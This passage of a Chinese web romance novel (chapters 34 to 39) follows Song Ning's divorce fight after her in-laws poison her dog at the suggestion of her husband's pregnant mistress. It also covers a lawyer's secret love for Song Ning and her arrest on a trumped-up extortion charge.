他伸手想要去拉宋凝的手,却被狠狠的一把甩开。 宋凝冷漠地看着他:“离婚。” 傅东擎说:“你就没有别的话想跟我说了吗?你知不知道我有多想你?你一回来就只跟我说这个?” “傅东擎,你还看不明白吗?”宋凝嗤笑了一声:“上次给我做局,我没中招,这次直接毒死雪球……他们这就是非要逼着我跟你离婚不可啊!” 傅东擎说:“我还是那句话,我爱你,我不会跟你离婚。” “是嘛?如果你的孩子被我弄掉了,你的父母被我送进监狱,你也不会跟我离婚吗?” 傅东擎皱眉:“阿凝,我知道雪球死了你很难过,但是你理智一点好吗?事情还没有到非这样不可的地步……” 宋凝听笑了:“那你最近最好寸步不离地守着林澜,否则,我说到做到。” 﨔 第三十四章 林澜,我还真是小看了你 宋凝走出傅家老宅的时候,整个人都像是被抽干了力气。 刚才还有一股愤怒撑着,现在松懈下来,差点站不住。 她软软地倒了下去,却没有想象中的疼痛感传来,反而落入了一个宽阔温暖的怀抱里。 “丁予期?” 丁予期扶着她站好:“刚刚还放狠话呢,现在就蔫了?” 宋凝努力站直了身体,只是脚下的高跟鞋实在是个刑具,她站不稳,又朝另一边倒去。 丁予期重新把她拉回了怀里:“算了,靠着吧。” 宋凝头晕的不行,一张脸惨白如纸,连嘴唇都失去了血色。 丁予期把她打横抱起,缓缓走出了傅家老宅:“我先带你回去休息。” 宋凝挣扎着睁开眼:“去哪里?” “我家。” “不,我不去,”宋凝挣扎着要下地:“我可付不起你家的房租。” 丁予期把她掂了掂,她就又打着滚地回到了丁予期怀里。 他说:“这次不收你钱。” “你会有这么好心?” “你就当我动了怜悯之心,体谅你刚刚承受了丧女之痛,想要做做好事,为社会做贡献。” 雪球是个小女孩。 尽管已经十五岁了,但宋凝早就把它当成了自己的家人。 一提起它的名字,丁予期明显能感觉到自己胸前的衬衫被她紧紧的拽住。 雪球的死,让她很痛苦。 “闹了一晚上了,先回家,吃点东西,好好睡一觉,雪球的事情有我呢。” 宋凝说:“雪球之前也很喜欢你的。” 雪球是一只自来熟的小狗,而且很乖很听话。 之前丁予期来过几次家里,每次雪球都是以最高的规格欢迎他。 飞机耳,摇尾巴,撒娇卖萌嘤嘤嘤。 丁予期微微笑了一下:“是,你把它教得很好。” “可是我没能让它善终。” 丁予期抱紧了她:“我们一起给它报仇。” 宋凝的声音小了很多,“可是连警察都说,没有办法惩罚他们。” “会有办法的。” …… 傅家老宅里。 警察走后,客厅里一片死寂。 一地的碎片和泥土,但佣人谁都不敢出来收拾,纷纷躲回了自己的房间,努力降低自己的存在感。 傅东擎问道:“毒是谁下的?” 傅学森直接拍案而起:“你现在来审问你父亲了?你眼里还有没有长幼尊卑!?” “阿凝离开后,家里只剩下刘姨和我。你们买通了刘姨,给小肉干上下了毒?” 蒋秀兰愤愤道:“东擎,一条狗而已,也值得你跟我们这么疾言令色的吗?你有空不如多去关心关心澜澜,她肚子里怀着的可是你的孩子!” 傅学森也说:“就是,还是澜澜懂事,比那个宋凝强多了!你赶紧离了婚,把澜澜娶进门,我们傅家的孩子不能没名分。” “我不会离婚,更不会娶林澜,要娶您自己娶。” 傅学森当即惊怒交加:“你说的这是什么话?!” 傅东擎冷笑:“反正你们要的只是一个傅家的继承人而已,你娶还是我娶不都一样?” “你……” 蒋秀兰也怒了:“你现在是连我也不放在眼里了是吗?让你爸娶林澜,你把我置于何地?” 傅东擎偏过头去,无奈地说:“爸妈,我是个成年人了,我有自己的生活。阿凝就是我选择的人,我这辈子只会娶她一个人。为什么你们就非要拆散我们呢?” “是啊,你爱她,那我问你,为什么你爱她还能让澜澜怀上孩子?” 傅东擎一窒。 傅学森冷哼了一声:“你对她的爱也不过如此,别说的多么情深似海的。” “我跟林澜在一起是因为……” “因为什么?”傅学森逼问道:“她长得跟宋凝一点都不像,性格也温柔可爱,比宋凝那个火药桶脾气好多了,从上到下都没有任何一点相似之处,你跟澜澜在一起,总不能还是为了宋凝吧?” 傅东擎闭上了眼睛。 他突然觉得很无力。 他是因为宋凝跟吴教授的事情心里不平衡才去找了林澜。 他原本以为,等事情结束之后,他用钱打发了林澜,心里的疙瘩也会消失了,他就能心安理得的跟宋凝好好过日子。 可是这件事的后续发展,每一步都让他始料未及。 林澜怀孕,这个他根本没想过的可能性几乎把他所有的计划全部打乱。 父母做局差点害了宋凝,一计不成又生一计,现在连雪球也被毒死了。 阿凝原本就想离开它,现在想挽回更是难上加难…… 叮铃铃—— 家里的座机想起来。 佣人们没在客厅,蒋秀兰亲自去接了电话:“喂?” 林澜的声音从对面传过来:“蒋阿姨,怎么样了?我说的方法你跟叔叔用了没?那只狗死了没有?” 深夜,屋子里一片寂静。 尽管林澜的声音不大,但也清清楚楚的透过电话传遍了整个客厅。 傅东擎几乎是猛地抬起头来,目光里带着不可置信和冷意。 蒋秀兰想帮她打掩护:“那个,澜澜啊,太晚了,我跟你傅伯伯都已经睡了,有什么事明天再说好吗?我先挂断了……” “等等阿姨,这么晚打扰你们确实不太合适,但孩子一直在我肚子里闹腾,我没听到确切的消息,实在是睡不着呀。您就告诉我吧,那只狗到底怎么样了?如果还没死的话,我还有另一种毒药,改天我再给您。” “澜澜啊,你先听我说,东擎他现在……” “蒋阿姨,我知道您心疼儿子。那只狗是东东养了十几年的,它死了东东是会难过一阵子。但是您想啊,再不给宋凝一点下马威,她还是拖着不肯离婚怎么办?眼看着我的肚子一天天大了,我总不能大着肚子穿婚纱呀!” “……” “喂?蒋阿姨,您在听吗?” “是我。”电话这边,傅东擎已经接过了听筒,声音低沉阴冷,“林澜,谁给你的胆子敢对雪球下手?!” “东东?你怎么在老宅?你不是在自己的别墅住么,怎么会突然……” 傅东擎深吸了一口气:“除了雪球,上次给阿凝设局的事情,跟你有没有关系?” “……” “说话!” 林澜的声音带着哭腔:“我只是想给自己的孩子争取爸爸而已,我不想让孩子出生就被人戳着脊梁骨骂是私生子。这样也有错吗?” 傅东擎冷笑:“林澜,我还真是小看了你。” 﨔 第三十五章 明明是我先喜欢上了你 宋凝睡着了。 她坐在副驾驶上,头微微歪着。 尽管睡着了,眉心仍旧轻轻蹙着。 丁予期把车开进了自家院子,熄火, 但是却没有吵醒她,就这么偏头看着她。 宋凝很漂亮,这是他一早就知道的事。 但这样安静的近距离观察她,还是第一次。 她的眼睛很大,即使闭着,也能看出来很长很长。 鼻尖小巧,唇也小,但是很饱满。 只是现在没了血色,整个人看起来有些憔悴。 他突然有些后悔,今天就不该因为太过想见到她,把她骗来自己房间里,又是修冰箱又是买咖啡机。 早知道她今晚会连夜杀过来干架,下午应该给她放个假,让她好好休息一会儿的。 只是…… 十五年了,他终于等到了她和傅东擎离婚。 鬼知道他接到那通电话的时候有多激动,整个人仿佛都活了过来,浑身的每一个细胞都在躁动。 宋凝不记得他们的初遇了。 可他还记得。 中学的时候,因为她长得漂亮学习又好,很多男生都在议论她,当然,也有很多女生嫉妒她。 久而久之,有一些心眼不好的人就开始造谣,说她跟校外的社会人士交往,还堕过胎。 学生时期好像总是有这种奇怪的现象,漂亮的女生被造黄谣,不好看的女生被霸凌。 他听不下去了,想抓一个出来杀鸡儆猴,替她把这些谣言止住。 正当他活动了手腕,准备逮那个说的最起劲儿的好好揍一顿的时候,他班里的大门被一脚踹开了。 宋凝那时候还是个小姑娘,但是气势就已经很强了,冷着脸走了过来,直接把手里瓶子里的液体泼了那个男生一脸。 男生嗷嗷怪叫:“你泼的什么?!” “浓硫酸,”她冷静的不像是个十几岁的小丫头,反而像个女将军:“师兄,现在知道怕了?造谣的时候就没想过会给别人造成多么大的伤害吗?” 男生一听是浓硫酸,吓得疯狂用纸去擦脸。 周围被液体飞溅到了同学们也都一哄而散,有的飞奔去洗手间冲洗,有人跑去老师办公室告状。 男生已经吓得三魂去了两魂半了,可是回过头,身后已经空无一人,只剩下还在不远处的丁予期。 他痛苦的哀求着:“帮我叫救护车,求求你……” 丁予期选择去把教室前后门都关上,然后对宋凝说:“你想做什么,做吧,门我锁了,老师也进不来。” 然后他就看到宋凝拎着拖把棍就对那个男生一顿好打,只打的他鼻血乱流,连连求饶。 老师在门外拍门,校长和年级主任也来了,有恐吓的,有威胁的,还有温柔劝阻的。 不过最后,还是等宋凝打到筋疲力竭,丁予期才去开了门。 男生被打成了个猪头,抱着头蹲在角落里瑟瑟发抖。 宋凝手里握着拖把棍,像是战无不胜的斗战胜佛孙悟空。 校长责骂宋凝的时候,她一点也不怵,只是平静的说:“张校长,您也是有女儿的,如果您的女儿被人说在外面跟好多个男人都睡过,还怀过孩子堕过胎,您还会这么平静吗?” 校长沉默了。 最后,他也只是说:“打人还是不对的,还有,你的浓硫酸哪里来的?学校实验室偷的吗?” 宋凝笑道:“我要是真用了浓硫酸,他的呼吸道早就碳化了,哪里还能鬼哭狼嚎?” “那你用的是什么?” “尿,”她说:“让男同学帮我弄的,懵逼不伤脑,恶心不致命,用来对付他这种嘴臭的人刚刚好。” 临走的时候,宋凝还特地对他说了一句:“谢谢师兄,你是个好人。” 丁予期也不知道为什么,这句话从那天开始就留在了他的记忆深处。 她的语调,她的表情,还有打了胜仗之后昂着小下巴骄傲离开时候的小样子,他全都记得非常清楚。 一记,就是十五年。 只是有些事,只有他还记得,她已经彻底忘记了。 “为什么……” 她哭了。 像是梦到了什么伤心事,梦里都在哭,一抽一抽的,眼泪流了满脸。 他找遍了车上都没找到卫生纸,最后干脆把衬衫最软柔的内衬翻了出来,轻轻帮她擦掉脸上的泪痕。 “傅东擎……傅东擎……” 丁予期的手微微一顿。 即便是他已经背叛了你,你在梦里叫的还是他的名字吗? 你就那么爱他? 明明你先遇到的是我,明明是我先喜欢上了你。 就因为我晚了一步表白,傅东擎就这样一直在你心里了吗? 我不甘心。 我怎么能甘心?! “不要拉我,放开我,傅东擎你放开我!……丁予期救我——” 宋凝从噩梦中惊醒。 四周黑漆漆一片,只有淡淡的月光洒在身上。 她仍旧沉浸在恐怖的幻境中,沉沉呼吸着,许久都没缓过劲。 “这里是哪里?” 丁予期说:“我家。放心吧,这里没有傅东擎。” 宋凝肉眼可见的松了一口气:“那就好。” “你刚刚梦到什么了?” “没什么。” “……梦里,傅东擎要欺负你吗?” 宋凝疲惫地靠在靠背上,闭上眼睛:“我梦到林澜要杀了我,傅东擎就拉着我去给她杀。噗嗤——” 她自嘲地笑了笑:“真好笑啊。” “一点都不好笑,”丁予期说:“我只感觉到你很痛苦和无助。” 宋凝恢复了些许神志,轻声说道:“我其实是个很凶的人。你大概不知道,中学的时候我暴揍过一个男生,他还是我的师兄,被我揍成了个大猪头,哈哈!” 丁予期低头,“我知道。” 宋凝有些意外:“傅东擎跟你说的么?不过当时他又没在现场,他也是听我说的,那时候我还不认识他呢。” 可一转念,她的声音却又变得很落寞:“我明明是个很凶的人,为什么现在变得这么窝囊?连做梦都是被傅东擎和林澜欺负,毫无反抗之力。” “那只是个梦而已,是反的,你还是很厉害的。” 宋凝苦涩地笑了一下:“这段时间我其实一直在反思自己,好像从嫁给傅东擎开始,我就变得不像我了。他爸妈不满意我,我就努力想要当一个乖巧的儿媳,拿得出手的总裁夫人。可我明明不是这样的,好像我被束缚在了一个铁笼子里,活成了一个假人。” “那现在呢?” “要离婚了,我也快要解脱了。” 说到这里,她偏头看向了丁予期:“丁律,你说过会帮我离婚的,你不会反悔的,对吧?” 﨔 第三十六章 不管你是什么东西,从他身上下来! 丁予期思索了一下:“看你表现?” 宋凝:“?” “万一林澜肚子里的孩子不是傅东擎的,你可别又回心转意了。” 宋凝立马否决:“那不能够,我跟他之间的问题并不止是林澜,而是……” 她突然想起来一件事,她跟吴教授从酒店出来那张照片还是这个姓丁的拍的! 她真是越来越弄不懂这个丁予期了。 “丁总,我怎么觉得你好像知道的挺多呀?” 丁予期挑眉:“何以见得?” “我跟吴教授一起去酒店的事,你怎么就那么刚好路过酒店外面,还恰好拍到了几张让人误会的照片?那一片我记得是个城乡结合部吧,你堂堂丁三公子凌晨五点多去那个地方干什么?配不上你的身份呀?” 宋凝顿了顿,又说:“还有林澜怀孕的事。我都没想过林澜肚子里的孩子是不是傅东擎的,你为什么会做出这种假设?” 她忽然间变得警惕起来:“你到底想干什么?” 丁予期微微垂着眼眸,勾了勾唇角:“你觉得呢,我想干什么?” “……你该不会真的是个双吧?” 丁予期:“……” “那你也太惨了,女的结婚了你等了人家十几年,男的也结婚了也等了十几年。丁律,你真的是史上最惨的双了。” 看着宋凝眼中还真有点同情的神色,丁予期只觉得浑身恶寒。 他蹙了蹙眉:“又在胡说八道。” “丁总,我还有个问题想问你。” “问。” 宋凝问他:“你既然这么讨厌我,今天为什么帮我?” 从知道雪球去世的消息开始,丁予期就已经安排好了所有事。 一边让自己的朋友大蒋去宠物店,先固定证据,避免雪球遗体上留下的证据被破坏;一边拉着她买了最早一班的航班飞回了H市。 到了H市后,他又第一时间找了检测师确定了雪球的死因。 而且,刚刚她发疯跟傅学森和蒋秀兰刚起来的时候,丁予期全程都是在帮她的。 傅学森好几次想冲过来打她,都是被丁予期牢牢扣在了原地。 “因为你现在是我的员工,”丁予期说:“我怕你半路闯祸,给我们卫斯理酒店蒙羞。” 宋凝:“……” “怎么,这个理由不可信?” 宋凝:“你还不如直接说你是秦始皇,让我V你50。” 丁予期轻笑:“秦始皇可不稀罕你那50,都是直接让你打五个亿,帮助他复国。” “到底为什么帮我?” 丁予期没说话,只是微微凑近了她。 他一只手撑在副驾驶的座椅靠背上,另一只手按住了车窗,整个人就像是一个巨大的网,把她锁在里面。 “宋凝,你想得到一个什么答案呢?” 宋凝觉得非常局促,她努力往旁边偏过头去,“……我不知道,我是在问你。” 丁予期继续凑近:“潜意识其实有时候就是真相。你觉得我为什么帮你?” 啪! 迎接他的,也不是他期待的答案,而是宋凝的一耳光。 不算重,但也带着力道。 他的脸被打的偏向了一边。 宋凝使劲推开罩在自己上方的丁予期,直接用手比了一个佛教的手印,厉声喝到:“妖孽!我不管你是什么东西,立马从丁予期身上给我下来!” 丁予期无声的叹息,退回了自己的领地。 宋凝说:“丁总,你刚刚可能被什么东西附身了,好可怕。” 丁予期:“很恐怖吗?” “不是那种可怕,就是……很油腻,让人浑身起鸡皮疙瘩的那种油腻。” 丁予期嗤嗤地笑开:“油腻鬼?” “不知道,反正肯定不是你平常的样子。” “我平常什么样子?” “怼我,阴阳我,使唤我,刁难我。” 丁予期无奈地捏了捏额角:“在你眼里,我就这么讨厌?” “也不是讨厌,但肯定是对我很不满意。但是你刚刚那个样子,虽然油腻,但是那个眼神……就好像有点喜欢我?” 丁予期微微抬眸。 宋凝嗤笑了一声:“你怎么可能喜欢我?你可是丁予期诶!所以你肯定是被什么脏东西附身了。” 她往外看了看,环顾了一下四周。 这里也是个别墅区,车就停在别墅外面的院子里。 凌晨时分,一片漆黑,这里人少,只能听到鸟类的嘶鸣,还真有几分渗人。 宋凝说:“你还是抽空找个大师来这里做做法吧,说不定真有什么脏东西。” 丁予期直接无语了:“你宁愿相信这世界上有鬼,也不相信我喜欢你?” 宋凝:“我有一个正常人的分析能力。” “你连小学生的判断力都没有,小学生都知道这世界上根本就没有鬼。” 宋凝拍了拍心口,仿佛放心了许多:“还好还好,你又开始怼我了,那东西终于走了。” 丁予期一个白眼翻上了天。 两人斗嘴斗了一会儿,宋凝也算是彻底冷静了下来。 雪球去世了,H市的气温高,还是得尽快处理一下它的后事。 宋凝叹息了一声,问道:“丁总,我能请几天假吗?” “什么假?” “丧假,”她说:“我想陪陪雪球。” 丁予期点了点头:“可以。不过还是得等公安机关对雪球的遗体做个解剖,雪球它的死因,总得有一份官方的证据,以后不管你要做什么,都是一个强有力的证据。” 宋凝问他:“你不是说,就算锤死了市傅学森买通了人给小肉干上下药,法律也奈何不了他吗?” 丁予期想了想说:“狗狗毕竟不是人,肯定不能以故意杀人罪处理。但是根据刑法第一百一十四条和一百一十五条的规定,在公共环境中投放毒害性物质,严重危害公共安全,将构成投放危险物质罪。” “可是他只是让人给小肉干上下了毒,并不是公共区域。” 丁予期说:“……如果造成年人的重伤、死亡,或者是使公私财产遭受了重大的损失,也要承担一定的刑事责任。因此,给宠物投毒,投毒者涉嫌故意毁坏财物罪,我们可以用这一条来起诉他。” 宋凝直接原地满血复活了,直接比了个大拇指:“专业的事还得专业的人来干啊,丁律,你可真牛!” “但是我还是得提醒你一次,起诉是可以起诉,但赔偿估计还是要不到多少钱的,就像警察说的,直接陪你当初买小狗的钱,想要精神损失费,还得协商。” 宋凝坚定的说:“我要的不是钱,我就是要让所有人都知道,堂堂傅老先生,也会干这种丧良心的缺德事!我回头去问问唐婷热搜怎么买的,等开庭审理的那天,我也要给他顶到热搜第一去!” 丁予期看着她,不禁笑开:“很好,这才是我认识的宋凝。” 从来不会自怨自艾,受了委屈必须打个巴掌回去。 忍,不是她的风格。 﨔 第三十七章 嫂子换人当 宋凝思索了一下。 她要告的可是傅东擎的父亲,傅氏集团掌权人的爸! 估计也没几个律师敢接她的案子。 方律师倒是个为了钱可以豁得出去的,但是那家伙狡猾的很,如果傅学森给更多的钱,说不定当庭就倒戈了。 算来算去,有勇气有魄力敢跟傅家对着干的,就眼前只有一个了。 她偷偷瞄了丁予期一眼。 他正在闭着眼睛假寐。 “丁总,你睡着了吗?” “睡着了。” 宋凝:“……” “我知道你要说什么,”丁予期说:“你想让我帮你起诉傅伯伯?” “你觉得行吗?” “我觉得行。” 宋凝惊喜不已:“真的?” “就看你出不出去得起这个价码了。” 宋凝顿时泄了气。 是啊,离婚案丁予期肯接手,只是因为他单方面想早点让她和傅东擎散伙。 所以才不收一分钱佣金鼎力相助。 他跟傅东擎和傅学森都无冤无仇,凭什么帮她? 而且…… 说不定还会影响以后的翁婿关系。 宋凝有些颓然地靠在靠背上,抬头望着天上的星星,有些泄气。 丁予期微微睁开一个眼睛,“你还没问什么价码呢,就放弃了?” 宋凝说:“什么价码我都付不起啊。” 丁予期,城东丁家的三少爷,肯定是不缺钱花的。 而且他自己还有卫斯理酒店,他能开出的价码,怎么可能是她一个平民老百姓付的出来的? “那也不一定,说不定我想要的……你能给呢?” “什么啊?” 宋凝突然脑中灵光一闪,然后双臂环抱住了自己:“你该不会是要把我……” 丁予期挑眉,露出招牌式玩世不恭的笑意,故意逗她:“没错,就是你想的那样。” “你真要把我送去缅北嘎腰子啊?!” 丁予期脸上的笑容顿时冻住了。 这是什么神奇的脑回路! 宋凝摆了摆手:“这个价码我不同意啊,身体是革命的本钱,君子报仇十年不晚,我可以等等机会再报复傅学森,但嘎腰子是万万不能的。” 丁予期啼笑皆非,仰天唏嘘。 神特么噶腰子。 …… 林澜这一觉睡得很不安稳。 她做了一个很长的梦,梦到她穿着一袭白纱,挽着傅东擎的手臂缓缓走进婚礼会场。 全H市有名有姓的宾客都来了,排场非常大。 但是突然她的肚子开始剧痛,她痛到跌坐在原地,然后当众生下了一只狗。 白色的,西高地。 小狗一生出来就已经很大了,冲着她疯狂的龇牙犬吠,还要扑上来咬她。 她吓坏了,一直在喊“东东救我——” 可是傅东擎一动不动,就这么居高临下地看着她,眼神冷漠甚至是厌恶:“你害死了雪球,就得给它偿命!” “不要——” 她从梦中惊醒,已经浑身大汗。 眼前的一切全都是白色的,但也不是婚纱的白,而是医院护士服的白。 护士正在查房,见她一脸惊恐的样子,问道:“林小姐,您做噩梦了吗?” 林澜点了点头,疲惫地又躺了回去。 怎么会梦到那只狗呢? 难道这个世界上真的有冤魂索命? 不,不是的。 毒是傅学森下的,肉干是傅东擎亲手喂给雪球的。 她没有亲自动手,只是在电话里跟蒋阿姨说了一下而已。 她也没有把刀架在他们脖子上,让他们去实施啊! 这件事跟她无关! “哎呀,先生你来得正好,你太太被噩梦惊醒了,您快去安慰安慰她吧。” 护士笑着跟傅东擎打招呼,可傅东擎的神色却一片黑沉。 林澜一看,就知道事情不妙。 她往被子里缩了缩,小声嗫喏:“东东……” 傅东擎从旁边拉了一把陪护椅,在她床边坐下,双腿叠起,就这么直勾勾的盯着她。 林澜被他看的心里发毛,“你别这样看着我,我害怕。” 傅东擎叫了一声:“林澜。” “什么?” 他的声音出奇的冷静,但是却带着地狱厉鬼似得凛冽冰冷:“我给你安排了今天的手术,一会儿会来接你去手术室。” “手术,什么手术?” “流产手术。” 林澜惊讶地瞪大了眼睛,一骨碌坐了起来:“你要打掉我的孩子?!” 傅东擎深吸了一口气,说:“我会给你一张支票,金额你自己填。你爸妈的养老,还有你弟弟的赌债,这些都可以解决了。你还可以给自己留一笔钱,我也可以联系国外的朋友,送你出国留学。” “我不要!孩子是我的命,我不可能打掉他!” “林澜,我是通知你,并不是跟你商量。” 林澜一窒。 “东东,你真的忍心吗?我现在肚子里怀着的,也是你的孩子啊!” 傅东擎沉默了一会儿,说:“除此之外,你想要什么,也可以跟我提,只要不是太过分,我尽量都满足你。” 林澜不可置信地看着他:“是宋小姐让你这样做的吗?” 傅东擎猛地抬起头来:“跟她无关!你不要什么都扯到她身上,她什么都没做错!” “……你还是护着她。” “她是我老婆,我当然护着她。” 林澜觉得可笑:“你是第一天有老婆吗?跟我暧昧调 情的时候,你怎么没想起来自己还有个老婆?” 傅东擎冷冷地说:“这是我跟阿凝之间的事,我们自己会解决,不关你的事。” “可是你现在要拿掉我肚子里的孩子!” “我说了,会给你补偿。还有,我联系的是经验最丰富的妇产科专家,你以后想要结婚生子的话,还是有很大几率的能自然怀上的。” “你说什么?” “如果怀不上,”傅东擎说:“你跟你老公做试管,费用我出。” 正说着,病房门被推开了。 丁予期噙着一抹笑意,手里还拎着一个果篮:“哟,东擎你来看嫂子了?也是,现在嫂子怀着孩子,是该多照看着点。” 傅东擎面色黑沉:“你嫂子是谁你不清楚吗?别乱叫。” “还真不太清楚,按照现在这个状况发展下去,以后嫂子多半会换人。” 傅东擎:“绝不可能换!” “那可不一定。” 傅东擎微微愠怒:“予期,你为什么对阿凝有这么大的成见?她到底怎么得罪你了?就因为多年前她跟吴教授的事情吗?这是我的事,而且我现在可以告诉你,这件事我已经不在意了。你作为我最好的兄弟,我希望你以后对阿凝好一点!” 对宋凝好一点? 丁予期的表情变成了严肃和郑重:“我会的。” 﨔 第三十八章 宋凝被抓了 傅东擎看他态度良好,也微微消了气:“那就行。” 丁予期轻笑,却话里有话:“宋凝交给我,你放心。” 傅东擎以为是这些天他忙得分 身乏术,把宋凝托付给了丁予期照顾,心里十分感激:“予期,等这件事解决完,你一定要来家里吃饭,我让阿凝给你做她最拿手的清蒸桂鱼。” 丁予期:“她还会做鱼?” “嗯,她妈妈是江南人,是跟她妈妈学的。” “她……经常给你做吗?” 傅东擎说:“也不是很经常,做过两三次吧,味道确实是一绝,不输外面的大厨?” 两三次。 他记住了。 “对了予期,你来医院……有事?” 丁予期把果篮提起来给他看:“来探病啊,嫂子不一定是嫂子,但侄子总得侄子,我这个当叔叔的总得表示表示。” 傅东擎虎了脸:“阿凝呢?她昨天回去之后,有没有很难过?” “没有,活蹦乱跳的,像是刚被捞出水小虾米,berber乱蹦。” 傅东擎一脸落寞:“你别安慰我了,我跟她在一起十五年了,她什么性格我最清楚。林澜怀孕的消息肯定特别打击她,还有我爸妈也跟着添乱……” 丁予期的眼神闪了闪,说:“不如你放弃吧,现在你们两个的这段婚姻,只有你一个人还在坚持了。” “我不是一个人!阿凝她还爱我,她只是太震惊太难过了。等事情解决之后,她还会回到我身边的。” 丁予期摇了摇头:“那可不一定。” “一定的!”傅东擎微微露出些许的喜色,压低声音说道:“阿凝在帮我挑衬衫呢,我亲口听到的。” 丁予期一脸不信:“你确定是给你挑?” “当然确定了,我听到她亲口跟唐婷说,衬衫就按照我的尺寸来。” 丁予期微微勾唇:“我们两个身高体重都差不多,说不定是给我买的?” “那不可能,”傅东擎一脸“你别闹了”的表情:“你跟她不对盘又不是一天两天了,她怎么可能给你买衬衫。” 丁予期没反驳,只是脸上的笑容更大了一些。 怎么不可能? 她就是给他买的。 不过…… 就让傅东擎先沉浸在这段错位的对话里吧,现在还没到摊牌的时候。 “对了,别光说我了,你跟弟妹进展怎么样了?” 丁予期目光流转:“还不错,推进的很顺利。” 傅东擎十分哥俩好的拍拍他的肩膀:“真是为你开心,这么多年的苦苦守候,终于要有结果了。看来过不了多久我就能喝到你跟弟妹的喜酒了?” “唔,看她吧,她刚离过婚,估计不怎么想这么快再次结婚。” “她上一任老公不好?” 丁予期说:“野狗一只。” 傅东擎还没察觉到任何不妥的地方,仍旧在说:“以后弟妹就是自己人了,需不需要帮她出出气?我找个人教训一下她前夫?” “不用了,”丁予期说:“我的女人,要出手也是我来,用不着你。” 手机响了一下。 他拿出手机准备看。 傅东擎还调侃他:“是弟妹的消息吧?” 丁予期也笑,还带着点炫耀:“没办法,粘人的很。” 可是他刚刚看到手机屏幕上显示的消息推送的时候,脸上的笑容顷刻间就不见了。 “怎么了?”傅东擎也凑了过来:“弟妹跟你提分手了?” “不是。” 是宋凝被抓了。 新闻推送,有图有真相。 宋凝被戴上了手铐,由两名女警押着,上了警车。 而标题赫然写着: 【豪门婚姻竟是一场精心策划的骗局!天之骄子痴心错付,恶毒女只为钱财贪得无厌!】 傅东擎看到了图片和标题,整个人也愣住了。 丁予期点开了新闻,详细看了看里面的内容。 大概意思就是—— 宋凝当初有目的紧接傅东擎,勾引他上位,弄的这位天之骄子傅总对她痴心一片,为了他还跟父母闹的几乎要断绝来往。 老两口声泪俱下地求她,能不能放自己儿子一马,可是这个恶毒的女人却狮子大开口,问老两口要了一个亿! 老两口只有这一个独子,只能忍痛给她打了钱。 但没想到此女拿了钱却不办事,又继续问老两口勒索钱财,简直贪得无厌! 老两口本来念在她曾经也算是自己的儿媳,不想把事情闹得太大,一直默默隐忍,背负了所有。 但实在是不想再受她胁迫了,于是选择了报警。 丁予期放大了图片,微微蹙眉—— 这里的背景,不是他在H市的家。 而是…… 她和傅东擎曾经住的那栋别墅! 早上他离开的时候,宋凝好好端端的在自己家睡着,为什么会突然跑去从前的住所? 还被警察抓了个正着? 他收起手机,转身就跑出了病房。 傅东擎连忙喊道:“予期,我也一起去。” 话音落下的时候,丁予期的身影早已经消失在电梯里了。 傅东擎想追,却被一个医生叫住了:“傅总,流产手术还做不做了?” 傅东擎急的咬牙:“做!我还有事,做完手术给我打电话。” 他朝着电梯的方向狂奔而去,可是电梯门一打开,两个熟悉的人影出现在他面前。 “爸,妈?!” 蒋秀兰手里拎着一个保温饭盒,傅学森则是沉着脸:“你不是不愿意见澜澜么,你来这里干什么?” 林澜跌跌撞撞的从病房里跑了出来,大声呼救:“傅伯伯,蒋阿姨,救命啊!东东他要杀了我的孩子!” 傅学森一听立马警惕起来:“我看谁敢动我的孙子!” 蒋秀兰已经快速跑了过去,扶着林澜:“孩子,你别怕,有阿姨在,谁也动不了你和孩子。” “爸,妈!你们能不能不要添乱了!” “我们保护自己的孙子,怎么能是添乱?反倒是你,被那个宋凝迷的昏了头,连自己的孩子都要下手?!要不是我跟你妈及时赶到,是不是澜澜肚子里的孩子就保不住了?” 说到宋凝,傅东擎总算恢复了一些理智。 “爸妈,刚刚新闻里说的一个亿是怎么回事?” 傅学森直接说道:“你最心爱的女人,你口口声声要维护的女人,问我们要了一个亿!” “不可能!阿凝不是那样的人!” “我这里有录音,你自己听听,是不是她的声音。” 傅学森按下了手机上的播放键,宋凝的声音清晰地传出来: “……我要一个亿。” “一个亿,就当是你儿子的赎身钱,阿姨,你不会不愿意给吧?” 﨔 第三十九章 反将一军! 审讯室里。 宋凝在黑暗中坐着,面前的桌子上只亮着一盏台灯。 被带进来的时候,她的手机已经收了。 等了一会儿,终于有人来了。 两个警察在她对面坐下。 一个打开了纸笔,同时按下了录音笔。 另一个开始问话:“宋凝,傅学森先生控告你敲诈勒索,金额达到了一个亿,对这个情况,你有什么要辩解的吗?” 宋凝说:“我可以等我的律师来吗?等他来了,我就说。” “你还请了律师?什么时候请的。” “警官,我只想知道,我现在能不能联系我的律师,让他来警局。” 按照流程,她是完全可以请律师的。 但警方没有把手机还给她,而是让她用警局的固定电话打。 宋凝举着听筒,好半天都没按下按键。 警方质疑道:“不是你说要联系律师,怎么给你电话还不打?” 宋凝的声音很平静:“警官,你会记得你们家楼下开锁师傅的电话吗?” “……” “律师只是律师,又不是我家里人,我记不住他的号码很正常。” “所以你准备就这样拖延时间?” “不。” 她拨了个号码出去。 很快,那边就被接起来:“喂?” “傅东擎,是我。” 傅东擎的声音顿时激动起来:“阿凝?!你怎么样?我现在这边暂时走不开,林澜这边出了点状况,我爸妈也……” “我也没指望你能来。” 这话说完,两个人都沉默了。 傅东擎无力地叹息了一声:“阿凝,你先别着急,不是杀人放火这种死罪,只是收了一个亿而已,没有那么快判决。你今晚先在里面将就一下,明天一早我一定去救你,你等我,好不好?” “我找的不是你,我只是忘记了丁予期的电话号码,你告诉我一下,我有事找他。” 傅东擎反应了过来:“对,予期是律师,应该有办法的。他应该已经往警局去了,我现在就给他打电话。” “不用……” 话音还没落,电话就被自动挂断了。 警察冷冷的注视着她:“宋小姐,我提醒你一句,我给你电话是让你联系律师的,不是联系其他人。” 宋凝:“警官,我知道时间宝贵,但我也希望你们能有点耐心。我联系其他人只是为了要我律师的电话号码,我们之间的对话你们应该都听到了的。” 她不卑不亢,条理清楚。 警方也不好说什么,只能点了点头,让她继续。 可是傅东擎还没来得及告诉她号码啊! 她还得再打过去…… 正准备按下按键,审讯室的门就被敲响了。 一个女警在外面说了一句:“队长,宋凝女士的丈夫到了,正在帮她办理保释。” 她丈夫? 傅东擎刚刚还在医院陪林澜,坐火箭飞来的? 审讯室的门被打开了,一个熟悉的身影出现在门口,双手抱着手臂,脸上还是南无玩世不恭地笑意。 宋凝惊了:“丁……” “老婆,我来接你了,过来。” 说着,他还朝她伸出手,勾了勾。 警察明显是认识丁予期的,顿时笑了:“丁律师,你居然结婚了?” 